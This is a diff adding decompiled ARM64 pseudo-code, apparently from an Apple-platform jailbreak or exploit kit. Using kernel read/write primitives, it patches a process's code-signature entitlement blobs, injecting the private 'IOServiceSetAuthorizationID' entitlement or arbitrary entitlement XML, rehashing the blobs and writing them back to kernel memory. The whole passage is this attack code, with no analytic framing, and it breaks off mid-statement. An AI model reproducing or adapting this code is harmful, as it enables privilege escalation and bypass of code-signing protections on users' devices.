+LABEL_23: + v6 = 0; + goto LABEL_26; + } + v17 = calloc((unsigned int)(v13 + v12), 1u); + if ( !v17 ) + goto LABEL_23; + v16 = v17; + memcpy(v17, v8, v12); + v16[5] = v11; + strlcpy((char *)v16 + (unsigned int)v12, a3, v13); + v16[1] = bswap32(v13 + v12); + v8 = v16; +LABEL_18: + if ( v9 != 0 && !v5 ) + { + v18 = strlen((const char *)v8 + v10); + bzero((char *)v8 + v10, v18); + } + goto LABEL_20; + } + } + else if ( v9 ) + { + v16 = 0; + v7[5] = 0; + goto LABEL_18; + } + v6 = 1; + goto LABEL_26; + } + return 0; +} + +//----- (000000000002C2F8) ---------------------------------------------------- +__int64 __fastcall sub_2C2F8(struct_krwCtx *a1, unsigned int a2, __int64 a3) +{ + __int64 result; // x0 + unsigned __int64 someLargeNumber; // x22 + unsigned int *v9; // x0 + unsigned int *v10; // x23 + int v11; // w22 + unsigned __int64 v12; // x0 + unsigned __int64 v13; // x21 + __int64 v14; // x21 + __int128 v15; // q1 + __int128 v16; // q1 + __int128 v17; // q0 + int v18; // w27 + unsigned int *v19; // x0 + char *v20; // x23 + char *v21; // x22 + unsigned int *v22; // x0 + char *v23; // x0 + unsigned int v24; // w4 + size_t v25; // x24 + size_t v26; // x26 + char *v27; // x0 + int v28; // w24 + char *v29; // x0 + unsigned int v30; // w1 + int v31; // w2 + CFIndex Length; // x23 + const UInt8 *BytePtr; // x0 + unsigned int *v34; // x0 + unsigned int *v35; // x26 + unsigned int v36; // w28 + size_t v37; // x24 + unsigned int v38; // w27 + char *v39; // x8 + const char *v40; // x25 + _DWORD *v41; // x0 + _DWORD *v42; // x22 + int v43; // w23 + unsigned int *v44; // x0 + int v45; // [xsp+Ch] [xbp-D4h] + __int128 v46; // [xsp+10h] [xbp-D0h] BYREF + __int128 v47; // [xsp+20h] [xbp-C0h] + __int128 v48; // [xsp+30h] [xbp-B0h] + __int128 v49; // [xsp+40h] [xbp-A0h] + __int128 v50; // [xsp+50h] [xbp-90h] + __int128 v51; // [xsp+60h] [xbp-80h] + __int64 v52; // [xsp+70h] [xbp-70h] + CFDataRef v53; // [xsp+78h] [xbp-68h] BYREF + size_t v54; // [xsp+80h] [xbp-60h] BYREF + char *v55; // [xsp+88h] [xbp-58h] BYREF + + if ( (unsigned int)sub_2E5C0(a1, a2, 0, 1u, (__int64)&v46) + || (result = sub_2E5C0(a1, a2, 0, 0, (__int64)&v46), (_DWORD)result) ) + { + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber >= 0x1C1B1914600000LL && ((a1->flags & 0x5584001) != 0 || someLargeNumber > 0x1F52FFFFFFFFFFLL) ) + LOBYTE(v52) = 1; + if ( *((_QWORD *)&v48 + 1) >> 29 ) + { + v12 = sub_33E8C(a1, DWORD1(v50)); + if ( v12 ) + { + v13 = v12; + if ( (unsigned int)sub_2BBA4((__int64)a1, (int *)&v54, (int *)&v53) ) + { + v14 = v13 + (unsigned int)v53; + if ( (unsigned int)kreadbuf_last_1(a1, v14, 8, &v55) ) + { + if ( *((char **)&v48 + 1) == v55 ) + goto LABEL_24; + if ( (unsigned int)sub_2F898(a1, DWORD1(v50), (__int64)v55) ) + { + v55 = (char *)*((_QWORD *)&v48 + 1); + if ( (unsigned int)kwritebuf_last_1((__int64)a1, v14, (__int64)&v55, 8) ) + goto LABEL_24; + } + } + } + } + goto LABEL_82; + } + v9 = sub_2C9B0((__int64)&v46, v50, -86111230); + if ( !v9 ) + goto LABEL_82; + v10 = v9; + if ( v9[10] ) + goto LABEL_82; + v9[10] = 128; + if ( (a1->flags & 0x5584001) == 0 && someLargeNumber <= 0x1F52FFFFFFFFFFLL ) + { +LABEL_15: + v11 = sub_2CA80(a1, (__int64)&v46); + sub_2CB54((__int64)&v46); + v52 = 0; + v50 = 0u; + v51 = 0u; + v48 = 0u; + v49 = 0u; + v46 = 0u; + v47 = 0u; + if ( v11 ) + { + result = sub_2E5C0(a1, a2, 0, 1u, (__int64)&v46); + if ( !(_DWORD)result ) + return result; +LABEL_24: + v15 = v51; + *(_OWORD *)(a3 + 64) = v50; + *(_OWORD *)(a3 + 80) = v15; + *(_QWORD *)(a3 + 96) = v52; + v16 = v47; + *(_OWORD *)a3 = v46; + *(_OWORD *)(a3 + 16) = v16; + v17 = v49; + result = 1; + *(_OWORD *)(a3 + 32) = v48; + *(_OWORD *)(a3 + 48) = v17; + return result; + } + return 0; + } + v18 = (unsigned __int8)v52; + v54 = 0; + v55 = 0; + v53 = 0; + if ( someLargeNumber > 0x1F52FFFFFFFFFFLL && !(_BYTE)v52 ) + goto LABEL_82; + if ( someLargeNumber <= 0x1F52FFFFFFFFFFLL ) + { + v22 = sub_2C9B0((__int64)&v46, 5, -86085263); + if ( !v22 ) + { + if ( v18 ) + { + v23 = (char *)malloc(0x52u); + v21 = v23; + if ( !v23 ) + goto LABEL_59; + qmemcpy(v23, "com.apple.private.iokit.IOServiceSetAuthorizationID", 82); + v24 = 82; + } + else + { + v29 = (char *)malloc(0x7FF8u); + v21 = v29; + if ( !v29 ) + goto LABEL_59; + qmemcpy(v29, "com.apple.private.iokit.IOServiceSetAuthorizationID", 82); + bzero(v29 + 82, 0x7FA6u); + v10[10] = 0x8000; + v24 = 32760; + } + if ( !(unsigned int)sub_2D64C((__int64)&v46, 5, 0xFADE7171, v21, v24) + || !(unsigned int)sub_2D700((__int64)&v46, 5u) ) + { + goto LABEL_59; + } + goto LABEL_50; + } + } + else + { + v19 = sub_2C9B0((__int64)&v46, 7, -86085262); + if ( v19 ) + { + if ( (unsigned int)sub_2D008( + (const UInt8 *)v19 + 8, + bswap32(v19[1]) - 8LL, + "com.apple.private.iokit.IOServiceSetAuthorizationID", + &v55, + &v54, + 0) ) + { + v20 = v55; + if ( !(unsigned int)sub_2D374((__int64)&v46, 7, 0xFADE7172, v55, v54) ) + { + v21 = 0; + v28 = 0; +LABEL_61: + v45 = v18; + if ( v20 ) + free(v20); + if ( v21 ) + free(v21); + if ( !v28 ) + goto LABEL_82; + v34 = sub_2C9B0((__int64)&v46, 0, -86111230); + if ( !v34 ) + goto LABEL_82; + v35 = v34; + v36 = v34[1]; + v37 = bswap32(v36); + v38 = v34[5]; + v39 = (char *)v34 + bswap32(v38); + v40 = v38 ? v39 : 0LL; + v41 = calloc((unsigned int)(v37 + 128), 1u); + if ( !v41 ) + goto LABEL_82; + v42 = v41; + memcpy(v41, v35, v37); + if ( v38 ) + { + v42[5] = v36; + if ( strlcpy((char *)v42 + v37, v40, 0x80u) >= 0x80 ) + { + free(v42); + goto LABEL_82; + } + } + else + { + v42[5] = 0; + } + v42[1] = bswap32(v37 + 128); + v43 = sub_2CA2C((__int64)&v46, 0, v42); + free(v42); + if ( v43 ) + { + if ( v45 ) + goto LABEL_15; + if ( (unsigned int)sub_2CA80(a1, (__int64)&v46) ) + { + sub_2CB54((__int64)&v46); + v52 = 0; + v50 = 0u; + v51 = 0u; + v48 = 0u; + v49 = 0u; + v46 = 0u; + v47 = 0u; + if ( (unsigned int)sub_2E5C0(a1, a2, 0, 1u, (__int64)&v46) ) + { + v44 = sub_2C9B0((__int64)&v46, 5, -86085263); + if ( v44 ) + { + v44[1] = bswap32(strlen((const char *)v44 + 8) + 8); + if ( (unsigned int)sub_2D3F8((__int64)&v46, 5u, -86085263) ) + { + if ( sub_2C9B0((__int64)&v46, v50, -86111230) ) + goto LABEL_15; + } + } + } + } + } +LABEL_82: + sub_2CB54((__int64)&v46); + return 0; + } + v21 = 0; + if ( !(unsigned int)sub_2D3F8((__int64)&v46, 7u, -86085262) ) + goto LABEL_59; +LABEL_52: + v28 = 1; +LABEL_60: + v20 = v55; + goto LABEL_61; + } + goto LABEL_58; + } + v22 = sub_2C9B0((__int64)&v46, 5, -86085263); + if ( !v22 ) + { + if ( sub_2D500( + (const UInt8 *)"com.apple.private.iokit.IOServiceSetAuthorizationID", + 82, + (__int64)&v53) ) + { + Length = CFDataGetLength(v53); + v21 = (char *)malloc(Length); + if ( !v21 ) + goto LABEL_59; + BytePtr = CFDataGetBytePtr(v53); + memcpy(v21, BytePtr, Length); + if ( !(unsigned int)sub_2D64C((__int64)&v46, 7, 0xFADE7172, v21, Length) + || !(unsigned int)sub_2D700((__int64)&v46, 7u) ) + { + goto LABEL_59; + } + v31 = -86085262; + v30 = 7; + goto LABEL_51; + } + goto LABEL_58; + } + } + if ( (unsigned int)sub_2BE34( + (UInt8 *)v22 + 8, + bswap32(v22[1]) - 8LL, + (UInt8 *)"com.apple.private.iokit.IOServiceSetAuthorizationID", + 82, + &v55, + &v54, + 0) ) + { + v25 = v54; + if ( v18 ) + { + v21 = v55; + v55 = 0; + } + else + { + v26 = (v54 + 32775) & 0xFFFFFFFFFFFFC000LL; + v27 = (char *)malloc(v26 - 8); + v21 = v27; + if ( !v27 ) + goto LABEL_59; + memcpy(v27, v55, v25); + bzero(&v21[v25], v26 - 8 - v25); + v10[10] = v26; + LODWORD(v25) = v26 - 8; + } + if ( !(unsigned int)sub_2D374((__int64)&v46, 5, 0xFADE7171, v21, v25) ) + goto LABEL_59; +LABEL_50: + v30 = 5; + v31 = -86085263; +LABEL_51: + if ( (unsigned int)sub_2D3F8((__int64)&v46, v30, v31) ) + goto LABEL_52; +LABEL_59: + v28 = 0; + goto LABEL_60; + } +LABEL_58: + v21 = 0; + goto LABEL_59; + } + return result; +} + +//----- (000000000002C9B0) ---------------------------------------------------- +unsigned int *__fastcall sub_2C9B0(__int64 a1, int a2, int a3) +{ + int v3; // w8 + unsigned int *v4; // x9 + __int64 v5; // x8 + unsigned int **i; // x9 + unsigned int *result; // x0 + + if ( !a1 ) + return 0; + v3 = *(_DWORD *)(a1 + 48); + if ( !v3 ) + { + if ( !a2 ) + { + result = *(unsigned int **)(a1 + 56); + if ( *result == 34397946 ) + return result; + } + return 0; + } + if ( v3 != 1 ) + return 0; + v4 = *(unsigned int **)(a1 + 56); + v5 = *v4; + if ( !(_DWORD)v5 ) + return 0; + for ( i = (unsigned int **)(*((_QWORD *)v4 + 1) + 8LL); ; i += 2 ) + { + if ( *((_DWORD *)i - 2) == a2 ) + { + result = *i; + if ( bswap32(**i) == a3 ) + break; + } + if ( !--v5 ) + return 0; + } + return result; +} + +//----- (000000000002CA2C) ---------------------------------------------------- +__int64 __fastcall sub_2CA2C(__int64 a1, int a2, unsigned int *a3) +{ + __int64 result; // x0 + __int64 v5; // x20 + _DWORD *v6; // x8 + + result = sub_2F92C(a1, a2, -86111230); + if ( result ) + { + v5 = result; + result = (__int64)sub_2F980(a3); + if ( result ) + { + v6 = *(_DWORD **)(v5 + 8); + *(_QWORD *)(v5 + 8) = result; + sub_2F9D4(v6); + return 1; + } + } + return result; +} + +//----- (000000000002CA80) ---------------------------------------------------- +__int64 __fastcall sub_2CA80(struct_krwCtx *a1, __int64 a2) +{ + __int64 result; // x0 + _QWORD v4[2]; // [xsp+8h] [xbp-28h] BYREF + unsigned int v5; // [xsp+18h] [xbp-18h] + + v4[0] = a1; + v4[1] = a2; + v5 = 0; + if ( a1->someLargeNumber < 0x1C1B1914600000LL || krw_ctx_has_flag(a1, 4) ) + { + sub_2FA24((__int64)v4); + return v5; + } + if ( krw_ctx_has_flag(a1, 89669633) && a1->someLargeNumber <= 0x1C1B1E025FFFFFLL ) + { + result = sub_23F78((__int64)a1, sub_2FA24, (__int64)v4); + if ( (_DWORD)result ) + return v5; + } + else + { + result = pthread_create_and_join((__int64)a1, (__int64)sub_2FA24, v4); + if ( (_DWORD)result ) + return v5; + } + return result; +} + +//----- (000000000002CB54) ---------------------------------------------------- +void __fastcall sub_2CB54(__int64 a1) +{ + int v2; // w8 + + v2 = *(_DWORD *)(a1 + 48); + if ( v2 ) + { + if ( v2 == 1 ) + sub_325DC(*(unsigned int **)(a1 + 56)); + } + else + { + sub_2F9D4(*(_DWORD **)(a1 + 56)); + } + *(_QWORD *)(a1 + 56) = 0; + *(_DWORD *)(a1 + 48) = -1; +} + +//----- (000000000002CBA4) ---------------------------------------------------- +__int64 __fastcall sub_2CBA4(struct_krwCtx *a1, __int64 task, char *entitlementXml, char a4) +{ + __int64 result; // x0 + unsigned __int64 v9; // x8 + bool v10; // cc + bool v11; // w27 + int v12; // w24 + unsigned int *v13; // x0 + unsigned int *v14; // x22 + UInt8 *v15; // x23 + unsigned __int64 v16; // x24 + size_t v17; // x0 + bool v18; // w24 + size_t v19; // x4 + const UInt8 *BytePtr; // x22 + unsigned int Length; // w0 + int v22; // w2 + unsigned int v23; // w1 + void *v24; // x22 + unsigned int *v25; // x0 + unsigned int *v26; // x0 + __int64 v27; // x8 + unsigned __int64 v28; // x9 + unsigned __int64 v29; // x8 + size_t v30; // x24 + size_t v31; // x25 + CFDataRef theData; // [xsp+8h] [xbp-D8h] BYREF + bool v33; // [xsp+17h] [xbp-C9h] BYREF + size_t __n; // [xsp+18h] [xbp-C8h] BYREF + void *__src; // [xsp+20h] [xbp-C0h] BYREF + _BYTE v36[64]; // [xsp+28h] [xbp-B8h] BYREF + int v37; // [xsp+68h] [xbp-78h] + char v38; // [xsp+88h] [xbp-58h] + char v39; // [xsp+89h] [xbp-57h] + + __src = 0; + v33 = 0; + theData = 0; + result = sub_2C2F8(a1, task, (__int64)v36); + if ( !(_DWORD)result ) + return result; + v9 = a1->someLargeNumber; + if ( v9 < 0x1C1B1914600000LL || ((a1->flags & 0x5584001) == 0 ? (v10 = v9 > 0x1F52FFFFFFFFFFLL) : (v10 = 1), !v10) ) + { + v12 = 0; + v11 = (a4 & 1) == 0; +LABEL_12: + v13 = sub_2C9B0((__int64)v36, 5, -86085263); + if ( !v13 ) + { + if ( (a1->flags & 0x5584001) == 0 ) + { + v19 = strlen(entitlementXml); + if ( v12 ) + { + if ( sub_2D500((const UInt8 *)entitlementXml, v19, (__int64)&theData) ) + { + BytePtr = CFDataGetBytePtr(theData); + Length = CFDataGetLength(theData); + if ( (unsigned int)sub_2D64C((__int64)v36, 7, 0xFADE7172, BytePtr, Length) ) + { + if ( (unsigned int)sub_2D700((__int64)v36, 7u) ) + { + v22 = -86085262; + v23 = 7; + goto LABEL_53; + } + } + } + } + else if ( (unsigned int)sub_2D64C((__int64)v36, 5, 0xFADE7171, entitlementXml, v19) + && (unsigned int)sub_2D700((__int64)v36, 5u) ) + { + goto LABEL_52; + } + } + goto LABEL_56; + } + v14 = v13; + v15 = (UInt8 *)(v13 + 2); + v16 = bswap32(v13[1]) - 8LL; + v17 = strlen(entitlementXml); + if ( !(unsigned int)sub_2BE34(v15, v16, (UInt8 *)entitlementXml, v17, &__src, &__n, &v33) ) + goto LABEL_56; + if ( !v33 ) + goto LABEL_25; + if ( a1->someLargeNumber < 0x1F530000000000LL || v11 ) + { +LABEL_18: + v18 = 0; + goto LABEL_57; + } + if ( (unsigned int)sub_2D2B4(a1, (__int64)v36, task, &v33) ) + { + if ( v33 ) + goto LABEL_18; +LABEL_25: + if ( !v38 && (a1->flags & 0x5584001) != 0 ) + { + v26 = sub_2C9B0((__int64)v36, v37, -86111230); + if ( v26 ) + { + v27 = v26[10]; + if ( (_DWORD)v27 ) + { + v28 = v27 - 8; + if ( v27 - 8 < v16 ) + v28 = v16; + v29 = (v27 & 0x3FFF) != 0 ? v16 : v28; + v30 = __n; + v31 = v29 - __n; + if ( v29 >= __n ) + { + memcpy(v15, __src, __n); + bzero((char *)v14 + v30 + 8, v31); + v14[1] = bswap32(v30 + 8); + goto LABEL_52; + } + } + } +LABEL_56: + v18 = 1; + goto LABEL_57; + } + v24 = __src; + if ( (unsigned int)sub_2D374((__int64)v36, 5, 0xFADE7171, __src, __n) ) + { +LABEL_52: + v23 = 5; + v22 = -86085263; + goto LABEL_53; + } +LABEL_69: + v18 = 1; + if ( !v24 ) + goto LABEL_59; + goto LABEL_58; + } +LABEL_55: + v11 = 0; + goto LABEL_56; + } + v38 = 1; + v11 = (a4 & 1) == 0; + if ( v9 >= 0x1F530000000000LL && (a4 & 1) != 0 ) + { + v39 = 1; + } + else if ( v9 <= 0x1F52FFFFFFFFFFLL ) + { + v12 = 0; + goto LABEL_12; + } + v25 = sub_2C9B0((__int64)v36, 7, -86085262); + if ( !v25 ) + { + v12 = 1; + goto LABEL_12; + } + if ( !(unsigned int)sub_2D008((const UInt8 *)v25 + 8, bswap32(v25[1]) - 8LL, entitlementXml, &__src, &__n, &v33) ) + goto LABEL_56; + if ( !v33 ) + { +LABEL_67: + v24 = __src; + if ( (unsigned int)sub_2D374((__int64)v36, 7, 0xFADE7172, __src, __n) ) + { + v23 = 7; + v22 = -86085262; +LABEL_53: + if ( (unsigned int)sub_2D3F8((__int64)v36, v23, v22) ) + { + v18 = (unsigned int)sub_2CA80(a1, (__int64)v36) == 0; + goto LABEL_57; + } + goto LABEL_56; + } + goto LABEL_69; + } + v18 = 0; + if ( a1->someLargeNumber >= 0x1F530000000000LL && (a4 & 1) != 0 ) + { + if ( !(unsigned int)sub_2D2B4(a1, (__int64)v36, task, &v33) ) + goto LABEL_55; + if ( v33 ) + { + v11 = 0; + goto LABEL_18; + } + goto LABEL_67; + } +LABEL_57: + v24 = __src; + if ( __src ) +LABEL_58: + free(v24); +LABEL_59: + if ( theData ) + CFRelease(theData); + sub_2CB54((__int64)v36); + if ( v18 ) + return 0; + if ( a1->someLargeNumber > 0x1F52FFFFFFFFFFLL || v11 ) + return 1; + return krw_inject_entitlements_maybe((__int64)a1, task, entitlementXml); +} + +//----- (000000000002D008) ---------------------------------------------------- +__int64 __fastcall sub_2D008(const UInt8 *a1, CFIndex a2, char *a3, _QWORD *a4, size_t *a5, _BYTE *a6) +{ + void *v12; // x0 + void *v13; // x19 + __int64 *v14; // x0 + __int64 v15; // x20 + __int64 *v16; // x0 + __int64 v17; // x28 + __int64 (__fastcall *v18)(__int64, CFDataRef, __int64 *); // x0 + __int64 (__fastcall *v19)(__int64, CFDataRef, __int64 *); // x27 + __int64 (__fastcall *v20)(__int64, CFDictionaryRef *); // x0 + __int64 (__fastcall *v21)(__int64, CFDictionaryRef *); // x28 + __int64 (__fastcall *v22)(__int64, CFMutableDictionaryRef, CFDataRef *); // x0 + void (__fastcall *v23)(__int64 *); // x20 + CFDataRef v24; // x21 + CFMutableDictionaryRef MutableCopy; // x23 + size_t v26; // x0 + CFErrorRef v27; // x25 + size_t Length; // x26 + void *v29; // x0 + void *v30; // x27 + const UInt8 *BytePtr; // x0 + __int64 v32; // x22 + __int64 (__fastcall *v34)(__int64, CFMutableDictionaryRef, CFDataRef *); // [xsp+10h] [xbp-80h] + __int64 v35; // [xsp+18h] [xbp-78h] + __int64 v36; // [xsp+20h] [xbp-70h] + __int64 v37; // [xsp+28h] [xbp-68h] BYREF + CFDictionaryRef theDict; // [xsp+30h] [xbp-60h] BYREF + CFDataRef theData; // [xsp+38h] [xbp-58h] BYREF + + theDict = 0; + theData = 0; + v37 = 0; + v12 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1); + v13 = v12; + if ( !v12 ) + goto LABEL_18; + v14 = (__int64 *)dlsym(v12, "kCENoError"); + if ( !v14 ) + goto LABEL_18; + v15 = *v14; + v16 = (__int64 *)dlsym(v13, "CECRuntime"); + if ( !v16 + || (v17 = *v16, + (v18 = (__int64 (__fastcall *)(__int64, CFDataRef, __int64 *))dlsym(v13, "CEManagedContextFromCFData")) == 0) + || (v19 = v18, + v36 = v17, + (v20 = (__int64 (__fastcall *)(__int64, CFDictionaryRef *))dlsym(v13, "CEQueryContextToCFDictionary")) == 0) + || (v21 = v20, + (v22 = (__int64 (__fastcall *)(__int64, CFMutableDictionaryRef, CFDataRef *))dlsym( + v13, + "CESerializeCFDictionary")) == 0) ) + { +LABEL_18: + v24 = 0; + MutableCopy = 0; + v27 = 0; + v23 = 0; + goto LABEL_19; + } + v34 = v22; + v35 = v15; + v23 = (void (__fastcall *)(__int64 *))dlsym(v13, "CEReleaseManagedContext"); + if ( !v23 || !dlsym(v13, "CEGetErrorString") ) + { + v24 = 0; +LABEL_36: + MutableCopy = 0; + goto LABEL_37; + } + v24 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull); + if ( !v24 || v35 != v19(v36, v24, &v37) || v35 != v21(v37, &theDict) ) + goto LABEL_36; + MutableCopy = CFDictionaryCreateMutableCopy(kCFAllocatorDefault, 0, theDict); + if ( !MutableCopy ) + { +LABEL_37: + v27 = 0; + goto LABEL_19; + } + v26 = strlen(a3); + v27 = sub_2BF00((UInt8 *)a3, v26); + if ( v27 ) + { + if ( sub_2BFDC(MutableCopy, v27, a6) && v35 == v34(v36, MutableCopy, &theData) ) + { + Length = CFDataGetLength(theData); + v29 = malloc(Length); + if ( v29 ) + { + v30 = v29; + BytePtr = CFDataGetBytePtr(theData); + memcpy(v30, BytePtr, Length); + *a4 = v30; + *a5 = Length; + v32 = 1; + goto LABEL_20; + } + } + } +LABEL_19: + v32 = 0; +LABEL_20: + if ( theData ) + CFRelease(theData); + if ( v27 ) + CFRelease(v27); + if ( MutableCopy ) + CFRelease(MutableCopy); + if ( theDict ) + CFRelease(theDict); + if ( v37 ) + v23(&v37); + if ( v24 ) + CFRelease(v24); + if ( v13 ) + dlclose(v13); + return v32; +} + +//----- (000000000002D2B4) ---------------------------------------------------- +__int64 __fastcall sub_2D2B4(struct_krwCtx *a1, __int64 a2, unsigned int a3, bool *a4) +{ + unsigned __int64 someLargeNumber; // x8 + __int64 v8; // x11 + __int64 v9; // x13 + __int64 v10; // x8 + __int64 result; // x0 + unsigned __int64 v12; // [xsp+8h] [xbp-28h] BYREF + + someLargeNumber = a1->someLargeNumber; + v8 = 168; + v9 = 144; + if ( someLargeNumber > 0x1C1B19145FFFFFLL ) + v9 = 152; + if ( someLargeNumber <= 0x1F52FFFFFFFFFFLL ) + v8 = v9; + if ( someLargeNumber <= 0x1F530F027FFFFFLL ) + v10 = v8; + else + v10 = 160; + result = kread64_outptr(a1, *(_QWORD *)(a2 + 8) + v10, &v12); + if ( (_DWORD)result ) + { + result = sub_34D14((__int64)a1, a3); + if ( (_DWORD)result ) + { + *a4 = v12 == a1->gap191[4]; + return 1; + } + } + return result; +} + +//----- (000000000002D374) ---------------------------------------------------- +_DWORD *__fastcall sub_2D374(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5) +{ + _DWORD *result; // x0 + _DWORD *v9; // x20 + _DWORD *v10; // x23 + _DWORD *v11; // x0 + + result = (_DWORD *)sub_2F92C(a1, a2, a3); + if ( result ) + { + v9 = result; + result = malloc(a5 + 8LL); + if ( result ) + { + v10 = result; + *result = bswap32(a3); + result[1] = bswap32(a5 + 8); + memcpy(result + 2, a4, a5); + v11 = (_DWORD *)*((_QWORD *)v9 + 1); + *((_QWORD *)v9 + 1) = v10; + sub_2F9D4(v11); + return &def_3E8F0 + 1; + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000002D3F8) ---------------------------------------------------- +__int64 __fastcall sub_2D3F8(__int64 a1, unsigned int a2, int a3) +{ + unsigned int *v5; // x20 + __int64 result; // x0 + size_t v7; // x1 + __int64 v8; // x8 + __int64 v9; // x9 + void *v10; // x21 + size_t v11; // x2 + int v12; // [xsp+4h] [xbp-5Ch] BYREF + _BYTE __src[48]; // [xsp+8h] [xbp-58h] BYREF + + v5 = sub_2C9B0(a1, a2, a3); + result = (__int64)sub_2C9B0(a1, *(_DWORD *)(a1 + 64), -86111230); + if ( result ) + { + if ( bswap32(*(_DWORD *)(result + 24)) < a2 ) + return 0; + v7 = *(unsigned int *)(a1 + 72); + v8 = result + bswap32(*(_DWORD *)(result + 16)); + v9 = (unsigned int)v7 * a2; + v10 = (void *)(v8 - v9); + if ( v5 ) + { + v12 = 48; + result = sub_2BCF0(*(unsigned __int8 *)(result + 37), v5, bswap32(v5[1]), __src, &v12); + if ( !(_DWORD)result ) + return result; + v11 = *(unsigned int *)(a1 + 72); + if ( (_DWORD)v11 != v12 ) + return 0; + memcpy(v10, __src, v11); + } + else + { + bzero((void *)(v8 - v9), v7); + } + return 1; + } + return result; +} + +//----- (000000000002D500) ---------------------------------------------------- +bool __fastcall sub_2D500(const UInt8 *a1, CFIndex a2, __int64 a3) +{ + void *v6; // x0 + void *v7; // x19 + __int64 *v8; // x0 + __int64 v9; // x26 + __int64 *v10; // x0 + __int64 v11; // x23 + __int64 (__fastcall *v12)(__int64, CFPropertyListRef, __int64); // x0 + __int64 (__fastcall *v13)(__int64, CFPropertyListRef, __int64); // x24 + const __CFData *v14; // x0 + const __CFData *v15; // x21 + CFPropertyListRef v16; // x0 + const void *v17; // x22 + _BOOL8 v18; // x20 + + v6 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1); + if ( v6 ) + { + v7 = v6; + v8 = (__int64 *)dlsym(v6, "kCENoError"); + if ( v8 ) + { + v9 = *v8; + v10 = (__int64 *)dlsym(v7, "CECRuntime"); + if ( v10 ) + { + v11 = *v10; + v12 = (__int64 (__fastcall *)(__int64, CFPropertyListRef, __int64))dlsym(v7, "CESerializeCFDictionary"); + if ( v12 ) + { + v13 = v12; + if ( dlsym(v7, "CEGetErrorString") ) + { + v14 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull); + if ( v14 ) + { + v15 = v14; + v16 = CFPropertyListCreateWithData(kCFAllocatorDefault, v14, 0, 0, 0); + if ( v16 ) + { + v17 = v16; + v18 = v9 == v13(v11, v16, a3); + CFRelease(v15); + CFRelease(v17); +LABEL_12: + dlclose(v7); + return v18; + } + CFRelease(v15); + } + } + } + } + } + v18 = 0; + goto LABEL_12; + } + return 0; +} + +//----- (000000000002D64C) ---------------------------------------------------- +_DWORD *__fastcall sub_2D64C(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5) +{ + size_t v9; // x24 + unsigned int v10; // w25 + _DWORD *result; // x0 + _DWORD *v12; // x22 + + if ( (*(_BYTE *)a1 & 1) != 0 && *(_DWORD *)(a1 + 48) == 1 ) + { + v9 = a5; + v10 = a5 + 8; + result = malloc(a5 + 8LL); + if ( !result ) + return result; + v12 = result; + *result = bswap32(a3); + result[1] = bswap32(v10); + memcpy(result + 2, a4, v9); + if ( (unsigned int)sub_32650(*(unsigned int **)(a1 + 56), a2, (__int64)v12) != -1 ) + return &def_3E8F0 + 1; + sub_2F9D4(v12); + } + return 0; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000002D700) ---------------------------------------------------- +unsigned int *__fastcall sub_2D700(__int64 a1, unsigned int a2) +{ + unsigned int *result; // x0 + unsigned int *v5; // x21 + unsigned int v6; // w25 + int v7; // w26 + int v8; // w24 + size_t v9; // x23 + unsigned int *v10; // x20 + __int64 v11; // x23 + size_t v12; // x2 + __int64 v13; // x8 + unsigned int v14; // w8 + unsigned int v15; // w9 + __int64 v16; // x19 + + result = sub_2C9B0(a1, *(_DWORD *)(a1 + 64), -86111230); + if ( result ) + { + v5 = result; + v6 = bswap32(result[6]); + if ( v6 >= a2 ) + { + return (unsigned int *)(&def_3E8F0 + 1); + } + else + { + v7 = *(_DWORD *)(a1 + 72); + v8 = v7 * (a2 - v6); + v9 = bswap32(result[1]) + v8; + result = (unsigned int *)malloc(v9); + if ( result ) + { + v10 = result; + bzero(result, v9); + v11 = v7 * v6; + memcpy(v10, v5, bswap32(v5[4]) - (unsigned int)v11); + v12 = bswap32(v5[1]) + (_DWORD)v11 - bswap32(v5[4]); + v13 = bswap32(v10[4]) + v8; + v10[4] = bswap32(v13); + v10[1] = bswap32(bswap32(v10[1]) + v8); + v10[6] = bswap32(a2); + memcpy((char *)v10 + v13 - v11, (char *)v5 + bswap32(v5[4]) - v11, v12); + v14 = bswap32(v5[4]); + if ( bswap32(v5[5]) > v14 ) + v10[5] = bswap32(bswap32(v10[5]) + v8); + v15 = bswap32(v5[2]); + if ( v15 >> 8 >= 0x201 ) + { + if ( bswap32(v5[11]) > v14 ) + v10[11] = bswap32(bswap32(v10[11]) + v8); + if ( v15 > 0x201FF ) + { + if ( bswap32(v5[12]) > v14 ) + v10[12] = bswap32(bswap32(v10[12]) + v8); + if ( v15 > 0x204FF ) + { + if ( bswap32(v5[23]) > v14 ) + v10[23] = bswap32(bswap32(v10[23]) + v8); + if ( v15 > 0x205FF && bswap32(v5[25]) > v14 ) + v10[25] = bswap32(bswap32(v10[25]) + v8); + } + } + } + v16 = sub_2CA2C(a1, *(_DWORD *)(a1 + 64), v10); + free(v10); + return (unsigned int *)v16; + } + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000002D934) ---------------------------------------------------- +__int64 __fastcall sub_2D934(struct_krwCtx *a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v5; // x20 + __int64 v6; // x1 + __int64 v7; // x0 + int v8; // w8 + struct_krwCtx *v9; // x0 + int v10; // w1 + _BOOL4 has_flag; // w0 + bool v12; // zf + __int64 v13; // x22 + __int64 v14; // x23 + __int64 v15; // x8 + __int64 v16; // x9 + int xnuMajorVersion; // w8 + __int64 v18; // x8 + _BOOL4 v19; // w0 + unsigned __int64 someLargeNumber; // x9 + _BOOL4 v21; // w0 + __int64 v22; // x8 + __int64 v23; // x9 + _BOOL4 v24; // w0 + __int64 v25; // x21 + int v26; // w8 + char v27; // [xsp+Fh] [xbp-31h] BYREF + + v27 = 0; + if ( !krw_ctx_has_flag(a1, 85475841) ) + return 1; + result = sub_349C8(a1, a2); + if ( !result ) + return result; + v5 = result; + if ( krw_ctx_has_flag(a1, 32) ) + { + v6 = v5 + 146; +LABEL_5: + v7 = (__int64)a1; + goto LABEL_6; + } + if ( !krw_ctx_has_flag(a1, 85475329) ) + { + result = krw_ctx_has_flag(a1, 512); + if ( !(_DWORD)result ) + return result; + xnuMajorVersion = 